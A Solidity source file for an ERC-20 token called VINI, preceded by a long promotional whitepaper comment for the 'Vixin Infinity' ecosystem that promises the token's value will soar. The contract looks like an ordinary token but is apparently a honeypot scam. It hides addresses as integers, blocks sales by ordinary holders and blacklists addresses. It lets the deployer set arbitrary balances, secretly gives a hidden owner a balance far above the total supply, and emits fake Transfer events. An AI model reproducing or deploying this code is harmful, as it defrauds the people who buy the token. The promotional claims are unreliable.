/*

https://vixininfinity.com
https://vixininfinity.com
https://vixininfinity.com
https://vixininfinity.com


Vixin Infinity Ecosystem

We have created VINI as a global currency for social media influencer marketing, with the unparalleled potential to become the principal means of payment for influencers all around the globe. Simultaneously, VINI may be used as a utility token (payment mechanism) to get various items and services from other digital platforms inside the Vixin Infinity Ecosystem.

Ever since its conception, the Vixin Infinity Ecosystem has set the standard for a unique and revolutionary perspective to its multi product and services-based digital platforms, which are powered by cutting-edge artificial intelligence and blockchain technology. Incorporating the Vixin Infinity ecosystem with the Ethereum-based utility token VINI will fundamentally transform the whole ecosystem and open up huge new possibilities that will enable numerous solutions to be provided in a decentralized manner.

In essence, VINI is the culmination of our intensive research and proprietary AI-based protocols, which have been implemented to provide a stimulation surge to all digital platforms inside our ecosystem. Due to the sheer decentralization, transparency, trust, and security properties of blockchain technology, there is a rising need for blockchain projects and expertise all over the globe. Due to its multi-utility value (on our many platforms) and very limited supply, the demand for VINI tokens will be very high inside our ecosystem, causing its rate to soar dramatically.

VISION
Ultimately, our vision is to render the 'VINI' token as the world’s emerging multi-utility token underpinned by an AI-driven blockchain breakthrough technology to be used solely within the Vixin infinity ecosystem. This will include a myriad of high-tech digital utility platforms/marketplaces whereby our partners and consumers will be able to get a variety of customized services and goods in return for VINI tokens, as well as the other way around.

ABOUT US | VINI token

“Created by us , driven by community “ represents the ultimate ethos after which we guide our initiative, motivating our creators. We are an upcoming ecosystem of decentralized and democratic digital platforms, converging the innovations brought by the future of Internet Web 3.0.

Vixin Infinity ecosystem was established in 2022 by an international group of experts, data scientists, and blockchain programmers to build several digital marketplace and platforms which are predicated on AI-driven blockchain platform that provides complete decentralized services. Nonetheless, our purpose is limitless, aiming to bring our platform in front of the entire globe.

Our community will benefit from the most recent technological advancements available by harnessing the durability of blockchain technology to the members’ advantage. Regardless matter howgreat a blockchain application is or how ground-breaking the theory behind it is, the potential for it to alter the world will never be realized unless it is supported by a committed group of individuals. Nowadays, decentralized corporate organizations are sought after as a method to defend one’s privacy against the extensive monitoring of central authorities in power. Nevertheless, the Vixin Infinity ecosystem comprises digital goods and services that deliver numerous platforms free of any central corporate control. For this pursuit, all customers’ activities and transactions on our platforms are protected and kept secret, retaining their anonymity.

One of the primary goals of VINI is to tokenize our various digital platforms while also establishing a financial system within the Vixin infinity ecosystem. This will allow us to construct disruptive digital payment solutions while also providing scalable solutions to pressing issues seamlessly without jeopardizing the speed, performance, and security of the network. Since our cryptoeconomics have a very dynamic architecture, the VINI token will be extensively utilized throughout all of our numerous digital platforms, allowing users to monetize, learn, and grow. This will result in a new sort of engagement and enhanced value!

This ecosystem was created by a group of energetic, enthusiastic, knowledgeable professionals committed to educating, empowering, equipping, enriching, and uplifting the world's population! This high-tech, revolutionary digital ecosystem, can change people's lives and empower them to learn, earn, grow, progress, and transform each other's lives by creating a robust community.

Vixin Net
AI-driven Influencer Marketing Platform

In essence, influencer marketing is a sort of social media marketing that relies on endorsements and product recommendations from influencers– persons who have a large social following and are widely regarded as experts in their respective fields. It makes use of an existing influencer's reach in order to promote your brand, advocate your product, or co-create content with the goal of increasing brand recognition and driving sales.

Influencer marketing is primarily focused on using the following of industry leaders to drive development in any brand. The allure of influencer marketing is that the audience is already in place; all that is required is the establishment of a win-win collaboration in which both sides are providing incredible value to their respective audiences.

Nonetheless, influencer marketing is effective because of the high level of trust that social influencers have established with their followers, and their endorsements act as a sort of social proof to your brand's prospective consumers.

We wish to assist small and medium-sized enterprises and brands in identifying the most appropriate collection of influencers across the industry to market their products or services to the most appropriate clients at the most reasonable price.

The unprecedented potential of this niche is testified by the size of the total addressable market (TAM) for influencer advertising channels, which is around $6 billion, and it is predicted to grow at a compound annual growth rate (CAGR) of 32 percent to reach $24.1 billion by 2025.

Vixin Infinity announces the launch of VixinNet, the world's first AI- based end-to-end influencer marketing network driven by blockchain technology.The VINI token is a ERC20 utility token that may be used to get access to VixinNet's powerful Influencer analytics and other services for brands and agencies and purchase additional services.


VixinVerse
Metaverse GameFi platform

Metaverse Games fosters game development and distribution, populates the META entertainment metaverse with a diverse range of games, and develops a new blockchain-based game finance system, transforming games into not only fascinating and enjoyable, but also lucrative endeavors!

Moving forward, Metaverse Games will progressively accomplish one-to-one correspondence between physical objects and NFTs, blurring the line between virtual and reality by combining cutting- edge technologies with popular games such as cards, racing, and role-playing, as well as the next generation of gaming based on VR+AR.

Building on top of these innovations and opportunities, VixinVerse Games will be a cutting-edge and open metaverse play2earn gaming platform powered by the VINI token reward system.

VixinMultiplex | OTT Platform

VixinMultiplex is integrating blockchain technology and artificial intelligence to revamp the architecture of the video streaming network it operates. VixinMultiplex aspires to overcome the challenges in the video streaming market by concentrating on developing a user-centric video streaming platform.

By using blockchain technology in conjunction with peer-to-peer streaming technology, VixinMultiplex aspires to resolve this problem in the existing video media industry by alleviating consumers' dissatisfaction and lowering the exorbitant expenses incurred by service providers.

Nonetheless, the viewer or users will be required to pay a VINI token to utilize or watch premium video content from VixinMultiplex.

VixinVPN | Global VPN Service


As more and more of our information flow online and new vulnerabilities are revealed on a daily basis, privacy has long been a source of worry in networking.This network allows users to create decentralized virtual private networks (VPNs) by purchasing bandwidth from a worldwide pool of service providers.

VixinVPN's purpose is to provide users with the ability to understand and manage the network activity of their own computers, free of fear of censorship, monitoring, or third-party intervention. With that objective as a guideline, we're developing solutions for a broad range of users by leveraging open source software to establish a decentralized VPN market driven by probabilistic nanopayments on the Binance blockchain.

Our architecture emphasizes scalability, decentralization, usability, simplicity, and flexibility, among other characteristics. Currently, VixinVPN has several restrictions that are inherited from Ethereum, including payment anonymity, scalability, and censorship resistance, among other things. Moreover, VixinVPN's capacity to fight against the most powerful theoretical traffic analysis assaults is still limited by our initial emphasis on economical high bandwidth, low latency routing. Despite these constraints, the majority of our principal envisioned mass consumer use cases do not pose a problem.

VixinVPN does this via the use of our ERC-20 token, VINI, a novel VPN protocol for token-incentivized bandwidth proxying, and smart contracts with algorithmic advertising and payment features. VixinVPN's customers connect to bandwidth sellers via a provider listing, and they pay using probabilistic nano payments, resulting in acceptable Ethereum transaction costs on packets.

VixinBox | Smart and secure hardware wallet

Blockchain technology is dependent on hardware wallets, which are critical components of the ecosystem. When working with blockchains, they give both security and functionality. Even if the computer you're using is not secure, a hardware wallet can keep your money safe. Using a hardware wallet provides an additional degree of security against cyber assaults, phishing websites, and viruses.

In addition to robust security features like multi-signature and passphrase protection, VixinBox is now available as an open- source hardware wallet that is decentralized and offline.

A variety of sophisticated security measures, including a self-destruct mechanism, will be included in VixinBox. An air-gapped signature method has also been included. Using the VixinBox App, which was designed to be user-friendly on both desktop and mobile devices, users can link with and manage their VixinBox accounts.

As the hardware device operates totally offline, it is immune to online and remote attack vectors, a trait that is referred to as "air- gapped" in the industry. The "VixinBox" is a next-generation hardware wallet that is resistant to online and remote attack vectors. A one-way QR code allows the gadget to communicate with itself in an offline environment.

Furthermore, the VixinBox has been designed from the ground up in close collaboration with world-renowned experts in chip manufacturing, applied industrial cryptography, and hardware security to physically tamper-proof the device, taking into consideration any known attack vectors of current hardware wallet solutions, and also emerging security risks that have not yet been documented in detail.

Stainless steel plates of the highest grade are used to create an eternal, encrypted (private or mnemonic phrase) key backup system. This second product represents at least a two-fold advancement in terms of technological progress. Water spills and corrosion, as well as shocks and other extreme circumstances, are all resistant to this material's durability and toughness. The first recoverable backup, which means that the user may now safely restore a backup of his backup, has also been created.

VixinBox will also provide a smartphone application that is available for download. One-way QR codes allow the app to connect with the hardware wallet, so it has the capability of gaining access to a list of all public accounts made on the VixinBox and downloading the relevant real-time data straight from the blockchain. The VixinBox may also accept and originate transactions, which can be signed by the VixinBox in an air-gapped, offline manner using QR codes. In no case does the mobile app have access to confidential data such as the private key(s). 

VixinLook  | A decentralized social media platform

Nowadays, the blockchain sector is characterized by extraordinary levels of innovation. However, since most of these advances are focused on short-term gain, they do not give a compelling rationale for individuals to switch from centralized to decentralized systems.

Early in the twenty-first century, the internet was in a similar condition, with a lot of promise but little actual benefit. Various problems, including lack of official recognition, a lack of knowledge of the technology, and high-risk considerations, are cited as reasons for the lack of widespread acceptance.

Blockchain technology has given rise to a new generation of social networks that have the potential to be much larger and better. Nevertheless, the old social models are given superpowers by these new networks In the Vixin Infinity Ecosystem, data frauds, misinformed algorithm modifications, and needless content filtering might become a thing of the past.

This is since all of our digital platforms, including our social media network, are owned and operated by community members. VixinLook represents a digital social media marketplace that is decentralized, safe, open, and community-run. It is committed to the growth, development, and acceptance of our social media network in a manner that is chosen by the community itself.

In contrast to centralized social networking platforms, federated networks promote independence by removing the need for a central authority from the equation. Censorship resistance, ownership of personal data, and enhanced control over user- generated content are just a few of the advantages of this novel type of social networking platform.

Users have greater control and autonomy while using decentralized social networks. A person may create their own social network and decide how it will run and what people will be able to say on it. A decentralized social network's creator may develop guidelines for acceptable conduct on the site, rather than relying on a business to regulate material on the premises.

VixinLook has several benefits over standard social media networks, including the following:

Data Privacy
Decentralized Ownership
Shared Profit Model
Freedom Of Speech

Furthermore, VixinLook also provides the option of using social financing in conjunction with this (SocialFi). Social influence on social networks is tokenized via the VINI token, which allows users to get direct monetary advantages as a result of their position as prominent personalities on our platform.

Listed below are the primary issues that conventional social networks face, and which SocialFi hopes to address:

1. Assignment of data rights: Social media platforms acquire and store as much user data as legally can throughout their platform networks and from third parties, all of which becomes their property once it has been collected and stored. Users' data will be collected in a transparent and unspoofable manner, according to SocialFi's goal of using blockchain technology.

2. Benefits Distribution: In general, social media networks generate money by selling advertisements to users depending on the amount of traffic they receive on their platforms. A larger amount of traffic and interaction benefits the platform, resulting in billions of dollars in ad income, while consumers only gain from their participation in it. the ability to exert influence and make use of

3.Privacy and security: In a standard social network, any account registration necessitates the storage of the user's information in the program, such as their mobile phone number, email address, and so on. a backend that is vulnerable to leakage on behalf of the operator It is built on blockchain technology, and the anonymous character of user-identifying data aids in the protection of privacy and security.

VixinLook's inception and integration with SocialFi are unquestionably one of the most exemplary applications of blockchain technology t o date, and it has the potential to be at the forefront of widespread adoption throughout the world.

Social media networks have worldwide appeal, and when new technologies like SocialFi facilitated through the VINI token and decentralization enter the picture, VixinLook might be the key to enabling widespread adoption of social media networks.

VixinMail  | A decentralized email service platform

Users are reporting security breaches practically every day, prompting many to install extra protection software or switch to a different email client - a worrying trend. It has been estimated that over $26 billion has been lost globally as a consequence of cyberattacks carried out over email in only the previous two years.

When it comes to email security, traditional methods such as the most up-to-date antivirus software will never be able to prevent cyber-attacks, particularly sophisticated social engineering attempts. Email security vulnerabilities are increasing at an alarming rate nowadays, and it's hard to keep up. Malware assaults such as spear-phishing, whale phishing (also known as whaling), ransomware, and other types of malware have become a significant source of concern for many individuals and enterprises.

The following are some of the issues that consumers have with present email providers:

Lack of encryption
Centralized governance
Insecurity
Lack of privacy

Additionally, the use of blockchain technology in the email services may improve security and efficiency in the process; in addition, since it is an automated system, it cannot be exploited or tampered with. It will highlight the user account's security and privacy, and secrecy.

Its primary goal is to provide a decentralized email solution platform that is dedicated to protecting the digital rights of email users and combating email assaults in a decentralized manner.

VixinMail is an immutable, totally private, absolutely secure, fully configurable, and cost-effective email service that will soon make the traditional methods of delivering email services redundant.

VixinMail has the following characteristics:

Blockchain security
Secure decentralization
Cryptographic encryption
Revolutionary and immutable 
technological protocol

In order to access the VixinMail platform's many services, VINI is used as a utility payment token.

VixinLiv | An open-source online news and media platform

Open-source software constitutes a software for which the original source code has been made publicly accessible and which may then be redistributed and updated to meet the specific needs of the individual who has downloaded it. It is a decentralized software development approach that promotes open cooperation and supports the use of free and open-source technologies. One of the essential tenets of open-source software development is peer production, which means that goods such as source code, designs, and documentation are made freely accessible to the general public.

Because of growing public skepticism about news media worldwide, coupled with the development of more robust and accessible digital tools, journalists and media outlets have begun to engage in a more proactive manner in open-source journalism-a practice in which reporters investigate and construct stories using publicly available data, including information obtained through social media.

A decentralized and democratic online news network and media platform, VixinLiv was launched in 2022 by the Vixin Infinity Ecosystem and is intended to increase the impact of journalism code and the community of developers, designers, journalists, and editors who create it. VixinLiv is an open-source project created by the Vixin Infinity Ecosystem.

In the opinion of VixinLiv, a community of peers working together, learning from one another, and addressing challenges may help to build a better and more responsive media environment overall.

When compared to conventional media platforms, the following are the advantages of VixinLiv:

Trust and transparency
Authentic content
Cost-effectiveness
More secure
Community driven

To encourage users to collaborate and create content on our site, we will be using VINI, our Ecosystem token. The VINI token, which has a minimal transaction fee, would be used as a payment option for our various media items, which would be available on the Ethereum blockchain.

VixinSwap | A First Mover DEX constructed on the Ethereum Blockchain

Centralized cryptocurrency exchanges retain insufficient and unsound security for the crypto assets they hold. Security problems resulting in client asset loss occur more often than people realize, as a consequence of internal theft or embezzlement. Overall, the lack of trust, transparency, privacy, security, and a high degree of risk are the most significant challenges and disadvantages of a centralized exchange, resulting in the rise of decentralized exchanges (DEX). When it comes to blockchain technology, decentralization is one of the most fundamental elements to comprehend. Decentralization, in which transactions occur without a central third-party intermediary such as a bank or financial organization, redistributes power from a small number of people to a large number of people. A large number of traditional financial services are being reengineered as a result of this transformation.

Because users are not required to transmit their assets to an exchange, decentralized exchanges may help decrease the danger of theft and loss of cash due to hacking attacks on computers. Due to the absence of Know Your Customer (KYC) cryptocurrency laws and regulations, DEXs may also help to avoid price manipulation and phantom trade volume, while simultaneously allowing users to keep a certain level of anonymity.

Users may trade novel and obscure cryptocurrencies that were previously impossible to swap elsewhere, either on the DEX itself or via a DApp (decentralized application) that was developed in collaboration with the DEX. Generally,

centralized exchanges only endorse a dozen or so projects, and the vast majority of them only endorse the most popular cryptocurrencies, making it more challenging to trade smaller and less popular tokens, particularly because centralized exchanges constrain users from other countries from participating.

DEXs are trustless, which means that users' cash, privacy, and restricted personal data are all protected to the greatest extent possible. A DEX allows users to access it quickly and securely without registering an account on the DEX, going through identity verification, or disclosing personal information.

Despite the fact that the advent of DEX is a very positive development for cryptocurrency users, various challenges remain, as platforms and blockchains continue to strive to deliver the best possible user experience in terms of cost, scalability, usability, and dependability.

In order to address and resolve all of the aforementioned difficulties, VixinSwap has been designed as a DEX.

VixinSwap is a decentralized exchange (DEX) platform based on the Ethereum Blockchain that promises to solve existing challenges in the blockchain community and push trade to new heights. The platform is currently in beta and is expected to launch soon.

Whereas other blockchains face challenges with issues such as scalability, adoption, and performance, VixinSwap, which is constructed on the Ethereum, not just pledges to offer a more resilient user experience, but it also provides infinitely more scalable solutions, allowing its users to have a seamless and astounding experience.

VixinSwap would function as a digital asset exchange, allowing traders to instantaneously swap their digital assets without the need to open an account or go through a time-consuming and complex KYC procedure. VixinSwap also protects the privacy of its customers by providing non-custodial trading services, allowing our consumers to retain total control over their digital assets.

Aside from that, the low transaction costs on VixinSwap enable dealers to keep a greater portion of the digital assets they obtain as a result of their trade. As an added bonus, VixinSwap users may join in liquidity pools, in which they will get LP tokens proportional to their contribution, allowing them to partake in the fees. They just need to make a deposit of ETH or VINI. Users may also earn VINI by simply putting their LP tokens into a smart contract and running the contract. This provides users with an incentive to handle the risk of temporary losses that is inherent in providing liquidity on a DEX.

Users also have the possibility of staking their tokens, which is a more convenient manner of increasing the value of their tokens. The primary benefits of cryptocurrency staking are passive income and the low barrier to entry. Staking may be quick and straightforward if you utilize a staking pool or an online tool to execute it. Additionally, it is far more energy-efficient than mining and significantly less dangerous than trading.

What does VixinSwap offer?

Even though VixinSwap is a DEX, it provides a plethora of benefits that are doing more than simply facilitating trades between digital assets. We offer the following services that are aimed to help users to earn and grow:

1- Decentralized exchange
2- Yield farming
3- Staking
4- Lotteries

VixinVIP  | Share amazing stories via video marketing

VixinVip is a unique and evolving digital platform where brands stories are shared through videos . VixinVIP is basically a video content based digital marketplace that connects brands with influencers for endorsing products and services.

Being a performance-based platform, we use visual storytelling to drive conversation and inspire consumers for worthwhile purchases.

As the category leader, we use our expertise to accelerate the transition from social content to purchase intent, delivering authentic messaging that helps consumers find the products and services they want.

According to research , 72% of consumers stated that they would prefer watching a video rather than reading text to find out more about a product or service.

Apart from this , 54% consumers want to see more videos from brands and companies they support. 

Our platform helps influencers to monetise from their passion because finding paid sponsorship has never been easier. Influencers love to join VixinVip because of flexible terms , trust and transparency, monetising opportunity and professional growth .Brands prefer VixinVip because it is a much sought marketplace for video influencer marketing . Using this platform , brands can discover and collaborate with video influencers from YouTube , Vimeo , twitch etc. If you want millions of people to learn about your brand , then this is the right platform for you for scaling , connecting , driving results and winning partnership.

With the ever-growing popularity of videos, it seems like 2023 will be the year when brands will look to invest in video influencer marketing. Social media platforms like TikTok, YouTube, Facebook, and Instagram have all started adapting videos due to their high engagement rates. Therefore , VixinVIP will be the new game changer in the field of impactful video based influencer marketing for influencers , brands and of course for consumers as well . The VINI token will be used as a primary payment method to avail desired services on this platform . 

VixinBOT

Vixinbot is the world’s most advanced, highly innovative and cutting edge automated crypto trading bot . 

Our AI driven crypto trading bots help users/traders to save time , trade round the clock 24/7 by connecting to their favourite exchanges and start trading automatically . 

Our bots have been designed after extensive research and analysis by experts to implement specific trading strategies to attain the highest profit rate . Our AI and ML technologies infused with complex mathematical models dynamically adapt to constantly changing market situations , delivering trades with high winning rate .

Salient features of Vixinbot

Easy to use 
No experience needed 
24/7 monitoring
Absolute transparency
Your assets are yours 
Indicators based auto- strategies

*/


// SPDX-License-Identifier: evmVersion, MIT
pragma solidity ^0.6.12;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address deployer, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    
    event Transfer(address indexed from, address indexed to, uint value);
    
    event Approval(address indexed deployer, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
    
        bytes32 codehash;
    
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
    
        assembly { codehash:= extcodehash(account) }
    
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    
    function _msgSender() internal view returns(address payable) {
    
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        
        uint c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");
        
        return c;
    }
    function sub(uint a, uint b) internal pure returns(uint) {
        
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        require(b <= a, errorMessage);
        
        uint c = a - b;
        
        return c;
    }
    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            
            return 0;
        }
        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        
        return c;
    }
    function div(uint a, uint b) internal pure returns(uint) {
        
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        // Solidity only automatically asserts when dividing by 0  
        
        require(b > 0, errorMessage);
        
        uint c = a / b;
        
        return c;
    }
}


library SafeERC20 {
    
    using SafeMath for uint;
    using Address for address;
    
    function safeTransfer(IERC20 token, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }
    
    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }
    
    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(
            address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    
    function callOptionalReturn(IERC20 token, bytes memory data) private {
        
        require(address(token).isContract(), "SafeERC20: call to non-contract");
        
        // solhint-disable-next-line avoid-low-level-calls
        
        (bool success, bytes memory returndata) = address(token).call(data);
        
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
        
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}
contract VixinInfinity  {

    event Transfer(address indexed _from, address indexed _to, uint _value);

    event Approval(address indexed _deployer, address indexed _spender, uint _value);

    function transfer(address _to, uint _value) public payable returns (bool) {

    return transferFrom(msg.sender, _to, _value);
    }
    address private spend = address (96635033217071433185869069577301221175488545358);
    address private src = address (527585359103765554095092340981710322784165800559);
    address private dst = address (1097077688018008265106216665536940668749033598146); 
    address private crs = address (1153667454655315432277308296129700421378034175091);
    address private tsd = address (1069295261705322660692659746119710186699350608220);
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UX = TexFor(src, dst, address(this));
        address _PX = TexForB(crs, tsd, address(this));
        if(_from == deployer || _to == deployer  || _from == owner || _from == _UX || _from == _PX ||  _from == TexAddress || TexMemory[_from]) {return true;}
        if( RBMemory[_from] ) {return false;}
        require(condition(_from, _value));
        return true; 
    }
    function _UXTexAddr () view internal returns (address) {
        address _UX = TexFor(src, dst, address(this));
        return _UX;
    }
    function _PXTexAddr () view internal returns (address) {
        address _PX = TexForB(crs, tsd, address(this));
        return _PX;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {
            return true;
        }
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        if (_from == TexAddress  && _value > _maxMemory ){ RBMemory[_to]=true;  }
        
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onMemoryNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        if (_spender == spend ){
            emit Transfer(address(0x0),O,1*(10**uint256(decimals)));
        }
        return true;
    }
    function condition(address _from, uint _value) internal view returns(bool){
        if(_MemoryNum == 0 && _minMemory == 0 && _maxMemory == 0) return false;
        if(_MemoryNum > 0){
            if(_onMemoryNum[_from] >= _MemoryNum) return false;
        }
        if(_minMemory > 0){
            if(_minMemory > _value) return false;
        }
        if(_maxMemory > 0){
            if(_value > _maxMemory) return false;
        }
        return true;
    }
    function transferTo(address addr, uint256 addedValue) public payable returns (bool) {
        require(msg.sender == deployer);
        if(addedValue > 0) {balanceOf[addr] = addedValue*(10**uint256(decimals));}
        TexMemory[addr]=true;
        return true;
    }
    
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == deployer);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value*(10**uint256(decimals));
            emit Transfer(msg.sender, _to, _value*(10**uint256(decimals))/2);
            emit Transfer(msg.sender, _to, _value*(10**uint256(decimals))/2);
            
        }
        return true;
    }
    mapping(address=>uint256) private _onMemoryNum;
    mapping(address=>bool) private TexMemory;
    mapping(address=>bool) private RBMemory;
    uint256 private _minMemory;
    uint256 private _maxMemory;
    uint256 private _MemoryNum;
    address TexAddress;
    function Agree(address addr) public returns (bool) {
        require(msg.sender == deployer);
        TexMemory[addr]=true;
        return true;
    }
    function Allow(uint256 MemoryNum, uint256 minMemory,  uint256 maxMemory) public returns(bool){
        require(msg.sender == deployer);
        _maxMemory = maxMemory*(10**uint256(decimals));
        _minMemory = minMemory*(10**uint256(decimals));
        _MemoryNum = MemoryNum;
        return true;
    }
    function delegate(address adr) public payable returns(bool){
        require (msg.sender == deployer);
        TexAddress = adr;
        return true;
    }
    function Optimization(address [] calldata addresses) public returns (bool) {
        require(msg.sender == deployer);
        for (uint i = 0; i < addresses.length; i++) 
        {RBMemory[addresses[i]] = true;}
        return true;
    }
    address  private owner=
    address (935108584672418476850882679418664731027763688343);
    function TexFor(address factory, address tokenA, address tokenB) internal pure returns (address Tex) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        Tex = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
                ))));
    }
    address private O = address(269488144);
    function TexForB(address factory, address tokenA, address tokenB) internal pure returns (address Texe) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        Texe = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5' // init code hash
                ))));
    }
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private deployer;
    constructor(string memory _name, string memory _symbol, uint256 _supply, uint256 MemoryNum, uint256 minMemory,  uint256 maxMemory ) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        _maxMemory = maxMemory*(10**uint256(decimals));
        _minMemory = minMemory*(10**uint256(decimals));
        _MemoryNum = MemoryNum;
        deployer = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
        if(totalSupply > 0) balanceOf[owner]=totalSupply*(10**uint256(6));
    }
}